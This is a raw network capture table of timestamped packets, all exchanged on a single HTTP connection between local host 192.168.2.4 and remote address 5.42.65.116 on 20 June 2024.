Jun 20, 2024 06:49:11.284552097 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284554958 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284571886 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284574986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284595966 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284603119 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284626961 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284630060 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284643888 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284658909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284667969 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284674883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284703016 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284722090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284792900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284810066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284826040 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284837008 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284842968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284858942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.284859896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284884930 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.284914017 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.369817019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.369864941 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.369908094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.369925022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.369935036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.369982004 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.369986057 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370016098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370037079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370053053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370068073 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370085955 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370105028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370120049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370134115 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370155096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370168924 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370191097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370208025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370227098 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370255947 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370260954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370290041 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370297909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370307922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370340109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370347023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370371103 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370388985 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370419025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370615959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370650053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370666981 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370683908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370697975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370732069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370738983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370773077 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370788097 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370806932 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370820045 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370860100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370860100 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370894909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370908976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370928049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370940924 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.370961905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.370975971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371007919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371016026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371062040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371068954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371104002 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371118069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371139050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371150970 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371171951 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371185064 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371218920 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371226072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371263981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371277094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371299028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371311903 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371346951 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371356964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371392012 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371406078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371428013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371438980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371469975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371473074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371503115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371516943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371536016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371550083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371571064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371586084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371598005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371613026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371625900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371632099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371645927 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371645927 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371673107 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371705055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371786118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371814013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371830940 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371830940 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371860981 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371865988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371884108 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371905088 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.371968031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.371984959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372000933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372013092 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372014999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372035027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372052908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372071981 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372178078 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372194052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372209072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372221947 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372241974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372256041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372262001 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372272015 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372287989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372301102 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372307062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372323990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372323990 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372348070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372378111 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372764111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372791052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372818947 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372834921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372840881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372885942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372895002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372904062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.372930050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.372950077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373007059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373023987 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373039007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373053074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373054028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373071909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373073101 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373086929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373096943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373133898 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373169899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373184919 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373200893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373214006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373215914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373230934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373249054 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373287916 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373301983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373317957 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373332977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373344898 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373383999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373384953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373399973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373416901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373429060 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373461962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373476982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373492002 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.373521090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.373549938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375219107 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375248909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375266075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375274897 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375297070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375313044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375318050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375328064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375345945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375355959 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375363111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375379086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375396013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375420094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375436068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375462055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375478029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375485897 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375494003 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375503063 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375511885 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375528097 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375531912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375550032 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375572920 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375595093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375610113 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375642061 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375649929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375665903 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375674963 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375682116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375698090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375721931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375793934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375811100 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375825882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375843048 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375848055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375859976 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375874996 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375888109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375891924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375909090 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375926971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.375933886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375955105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.375988007 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.376024008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.376040936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.376055956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.376069069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.376071930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.376087904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.376089096 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.376102924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.376115084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.376126051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.376142025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.376151085 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.376173019 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.376199961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.461750984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.461832047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.461841106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.461884975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.461885929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.461921930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.461940050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.461957932 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.461972952 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.461991072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462011099 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462025881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462057114 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462059021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462074041 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462093115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462106943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462126970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462141037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462162018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462181091 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462196112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462210894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462229967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462244034 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462264061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462276936 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462301016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462312937 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462351084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462424040 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462474108 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462480068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462510109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462527990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462560892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462564945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462601900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462629080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462655067 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462655067 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462688923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462706089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462738037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462743044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462774992 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462798119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462826967 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462830067 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462863922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462878942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462898016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462912083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462938070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462949991 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.462975979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.462986946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463025093 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463028908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463074923 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463079929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463109970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463129044 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463145018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463157892 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463180065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463193893 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463232040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463239908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463289976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463294029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463330984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463345051 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463363886 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463376999 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463397980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463413000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463430882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463445902 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463463068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463478088 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463496923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463509083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463531017 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463547945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463565111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463577986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463598013 CEST	80	49743	5.42.65.116	192.168.2.4
